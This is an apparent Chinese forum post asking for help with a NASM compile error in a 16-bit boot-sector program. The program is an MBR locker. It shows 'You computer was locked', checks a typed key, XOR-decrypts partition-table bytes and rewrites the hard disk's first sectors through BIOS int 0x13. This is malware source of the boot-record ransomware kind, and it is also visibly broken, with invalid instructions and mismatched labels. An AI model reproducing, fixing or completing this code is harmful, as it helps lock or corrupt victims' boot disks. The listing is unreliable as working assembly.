请教一下汇编的
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org 0x7c00 ;程序将会加载到7c00这个位置,BIOS指定,无法更改
start:;初始化寄存器的值
mov ax,cs
mov ds,ax
mov ss,ax
mov es,ax
mov sp,0x100
main:
mov bp,Tips
mov cs,Tip_len
mov ax,0x1301
mov bx,0x0c
mov al,0
int 0x10
mov ax,0xb800
add ax,0xA0
mov ds,ax
xor cx,cx
xor bx,bx
GetChar:
xor ax,ax
int 0x16
cmp AL,0x8
je back
CMP al,0x0d
je entry
mov ah,2
mov [bx],al
mov [bx+1],ah
xor al,al
mov [bx+2],al
add bx,2
inc cx
mov [cs:InputCnt],cx
jmp GetChar
back:
sub bx,2
dec cx
mov [cs:InputCnt],cx
xor ax,ax
mov [bx],ax
jmp GetChar
entry:
mov ax,cs
mov es,ax
xor bx,bx
mov al,[ds:bx]
cmp al,'C'
jne key_err
add bx,2
mov al,[ds:bx]
cmp al,'a'
jne key_err
add bx,2
mov al,[ds:bx]
cmp al,'M'
jne key_err
add bx,2
mov cl,0xff
mov ch,0
mov [cs:XResult],ch
calc_key:
mov al,[ds:bx]
cmp al,0
je fixmbr
xor [cs:XResult],al
add bx,2
loop calc_key
fixmbr:
mov ax,0x7e00
mov es,ax
xor bx,bx
mov ah,0x2
mov dl,0x80
mov al,1
mov dh,1
mov dh,0
mov ch,0
mov cl,3
int 0x13
mov bx,0x01bd
xor ch,ch
mov [es:bx],ch
mov bx,0x01be
mov c1,64
decrypt:
mov al,[es:bx]
xor al,[cs:XResult]
mov [es:bx],al
int bx
loop decrypt
xor bx,bx
mov ah,0x3
mov dl,0x80
mov al,1
mov dh,0
mov ch,1
mov cl,1
int 0x13
jmp _REST
key_err:
mov bx,0xb800
add bx,Tips_Len
mov al,'X'
mov [bx],al
mov cx,[cs:InputCnt]
xor ax,ax
kk:
mov [bx],ax
add bx,2
loop kk
jmp start
_REST:
mov ax,0xfff
push ax
mov ax,0
push ax
retf
data:
XResult:db 0
InputCnt:db 0
Tips: db "You computer was locked,"
Tips_Len equ $-Tips
times 510-($-$$) db 0xF
dw 0xAA55
错误提示是
1:error:label or instruction expected at start of line
我用的是nasm2.09.02编译的